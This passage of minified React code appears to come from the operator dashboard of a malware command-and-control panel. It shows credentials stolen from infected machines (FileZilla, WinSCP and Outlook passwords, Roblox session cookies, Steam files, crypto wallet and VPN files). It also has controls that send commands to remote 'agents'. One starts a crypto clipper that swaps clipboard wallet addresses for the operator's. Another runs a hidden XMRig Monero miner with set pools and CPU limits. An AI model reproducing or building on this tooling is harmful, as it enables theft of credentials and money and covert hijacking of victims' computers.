bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))})]}):a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((ue=i.filezilla)==null?void 0:ue.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),(((be=i.winscp)==null?void 0:be.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),(((ye=i.putty)==null?void 0:ye.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:X.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user})]},re))})})]}),(((q=i.outlook)==null?void 0:q.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),!((te=i.telegram)!=null&&te.found)&&!((C=i.filezilla)!=null&&C.length)&&!((Y=i.winscp)!=null&&Y.length)&&!((ne=i.putty)!=null&&ne.length)&&!((B=i.outlook)!=null&&B.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx(Rn,{title:"Gaming Sessions",count:((le=i.steam)!=null&&le.found?1:0)+((we=i.epic)!=null&&we.found?1:0)+(((Ne=i.minecraft)==null?void 0:Ne.length)??0)+((Ae=i.roblox)!=null&&Ae.found?1:0),expanded:d.has("gaming"),onToggle:()=>g("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[(($=i.steam)==null?void 0:$.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[i.steam.loginusers&&a.jsxs("button",{onClick:()=>j(i.steam.loginusers,"loginusers.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
||
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"loginusers.vdf"]}),i.steam.config&&a.jsxs("button",{onClick:()=>j(i.steam.config,"config.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
||
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"config.vdf"]}),(fe=i.steam.ssfn_files)==null?void 0:fe.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
||
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))]})]}),((ve=i.epic)==null?void 0:ve.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>j(i.epic.config,"GameUserSettings.ini"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
||
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"GameUserSettings.ini"]})]}),(((H=i.minecraft)==null?void 0:H.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",i.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:i.minecraft.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,`${X.launcher}_accounts.json`),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
||
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.launcher]},re))})]}),((se=i.roblox)==null?void 0:se.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),i.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:X=>w(i.roblox.cookie,X),children:[".ROBLOSECURITY: ",i.roblox.cookie.slice(0,40),"..."]}):i.roblox.cookie_file?a.jsxs("button",{onClick:()=>j(i.roblox.cookie_file,"RobloxCookies.dat"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
||
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"RobloxCookies.dat"]}):null]}),!((W=i.steam)!=null&&W.found)&&!((Q=i.epic)!=null&&Q.found)&&!((he=i.minecraft)!=null&&he.length)&&!((E=i.roblox)!=null&&E.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx(Rn,{title:"Crypto Wallets",count:((ce=i.wallets)==null?void 0:ce.length)??0,expanded:d.has("wallets"),onToggle:()=>g("wallets"),children:(J=i.wallets)!=null&&J.length?a.jsx("div",{className:"space-y-3 p-4",children:i.wallets.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
||
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx(Rn,{title:"VPN Configs",count:((xe=i.vpn)==null?void 0:xe.length)??0,expanded:d.has("vpn"),onToggle:()=>g("vpn"),children:(ke=i.vpn)!=null&&ke.length?a.jsx("div",{className:"space-y-3 p-4",children:i.vpn.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
||
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((ze=i.errors)==null?void 0:ze.length)??0)>0&&a.jsx(Rn,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((X,re)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[X.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:X.error})]},re))})})]}),v&&a.jsx("div",{className:`fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent\r
|
||
pointer-events-none animate-fade-in`,style:{left:v.x,top:v.y,transform:"translate(-50%, -100%)"},children:v.text}),!i&&!o&&!c&&a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",a.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function Rn({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r
|
||
hover:bg-zerin-panel-hover transition-colors`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const dV=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],fV={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function $b(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function mV({agentId:e,agentStatus:t}){const[n,r]=m.useState({...fV}),[i,s]=m.useState(!1),[o,l]=m.useState(!1),[c,u]=m.useState(null),[d,f]=m.useState({}),p=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(N=>({...N,[b]:w}));const j=$b(b,w);f(N=>{const k={...N};return j?k[b]=j:delete k[b],k})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=m.useCallback(async()=>{if(p)return;const b={};for(const[w,j]of Object.entries(n))if(j){const N=$b(w,j);N&&(b[w]=N)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,N]of Object.entries(n))N&&(w[j]=N);await Me(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,p]),v=m.useCallback(async()=>{if(!p){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Me(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Me(e,{command:i?"clipper_stop":"clipper_start"}),s(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,p]);return a.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&a.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg
|
||
${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),a.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),a.jsxs("button",{onClick:v,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors
|
||
disabled:opacity-30 disabled:cursor-not-allowed
|
||
${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),a.jsx("button",{onClick:y,disabled:o||p||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r
|
||
text-zerin-text-dim hover:text-zerin-text\r
|
||
bg-zerin-panel hover:bg-zerin-panel-hover\r
|
||
border border-zerin-panel-border\r
|
||
px-3 py-2 transition-colors\r
|
||
disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),a.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:dV.map(({key:b,label:w,placeholder:j,color:N})=>a.jsxs("div",{className:"space-y-1",children:[a.jsx("label",{className:`text-xs font-semibold ${N}`,children:w}),a.jsx("input",{type:"text",value:n[b],onChange:k=>x(b,k.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text
|
||
placeholder-zerin-text-muted
|
||
focus:outline-none focus:ring-1 transition-all
|
||
${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&a.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),a.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[a.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),a.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),a.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),a.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),a.jsx("li",{children:"Config can be updated while running"})]})]})]})}const Bb=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function pV({agentId:e,agentStatus:t}){const[n,r]=m.useState(Bb[0]),[i,s]=m.useState(""),[o,l]=m.useState(""),[c,u]=m.useState(50),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),y=m.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(S,O)=>{h({text:S,type:O}),setTimeout(()=>h(null),5e3)};m.useEffect(()=>{if(!e)return;const S=async()=>{try{const O=await Xn(e),A=(O.tasks??[]).filter(T=>T.command==="miner_status").sort((T,P)=>new Date(P.created_at).getTime()-new Date(T.created_at).getTime());if(A.length>0){const T=A[0],P=(O.results??[]).find(D=>D.task_id===T.id);if(P!=null&&P.output)try{const D=JSON.parse(P.output);g(D)}catch{}}}catch{}};return S(),y.current=setInterval(S,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Me(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Me(e,{command:"miner_status"})}catch{}},3e3)}catch(S){w(S instanceof Error?S.message:"Failed to start","err")}finally{f(!1)}},N=async()=>{f(!0);try{await Me(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to stop","err")}finally{f(!1)}},k=async()=>{try{await Me(e,{command:"miner_status"}),w("Status request sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to query status","err")}},z=S=>{const O=Math.floor(S/3600),A=Math.floor(S%3600/60),T=Math.floor(S%60);return O>0?`${O}h ${A}m ${T}s`:A>0?`${A}m ${T}s`:`${T}s`};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),b&&x&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),a.jsx("button",{onClick:k,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),a.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[a.jsx(Ca,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),a.jsx(Ca,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),a.jsx(Ca,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),a.jsx(Ca,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),a.jsx(Ca,{label:"Uptime",value:x.uptime!=null?z(x.uptime):"-"}),a.jsx(Ca,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&a.jsx("div",{className:"px-4 pb-3",children:a.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),a.jsx("select",{value:n,onChange:S=>r(S.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-mono\r
|
||
focus:outline-none focus:border-zerin-accent/50\r
|
||
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:Bb.map(S=>a.jsx("option",{value:S,children:S},S))})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),a.jsx("input",{type:"text",value:i,onChange:S=>s(S.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent/50\r
|
||
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),a.jsx("input",{type:"text",value:o,onChange:S=>l(S.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent/50\r
|
||
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:S=>u(Number(S.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"10%"}),a.jsx("span",{children:"25%"}),a.jsx("span",{children:"50%"}),a.jsx("span",{children:"75%"}),a.jsx("span",{children:"100%"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:b?a.jsxs("button",{onClick:N,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
|
||
text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r
|
||
